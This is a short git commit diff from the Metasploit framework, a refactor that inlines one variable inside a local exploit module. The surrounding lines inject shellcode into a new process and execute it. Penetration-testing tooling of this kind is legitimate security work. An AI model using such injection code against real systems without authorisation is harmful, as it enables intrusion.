Save one variable

bug/bundler_fix
jvazquez-r7 2013-12-16 16:49:44 -06:00
parent 042bd4f80b
commit 84759a552a
1 changed files with 2 additions and 3 deletions

View File

@ -437,12 +437,11 @@ class Metasploit3 < Msf::Exploit::Local
if new_pid.nil?
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
return
end
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
shellcode_executed = execute_shellcode(p, nil, new_pid)
if shellcode_executed
if execute_shellcode(p, nil, new_pid)
print_good("Enjoy")
else
fail_with(Failure::Unknown, "Error while executing the payload")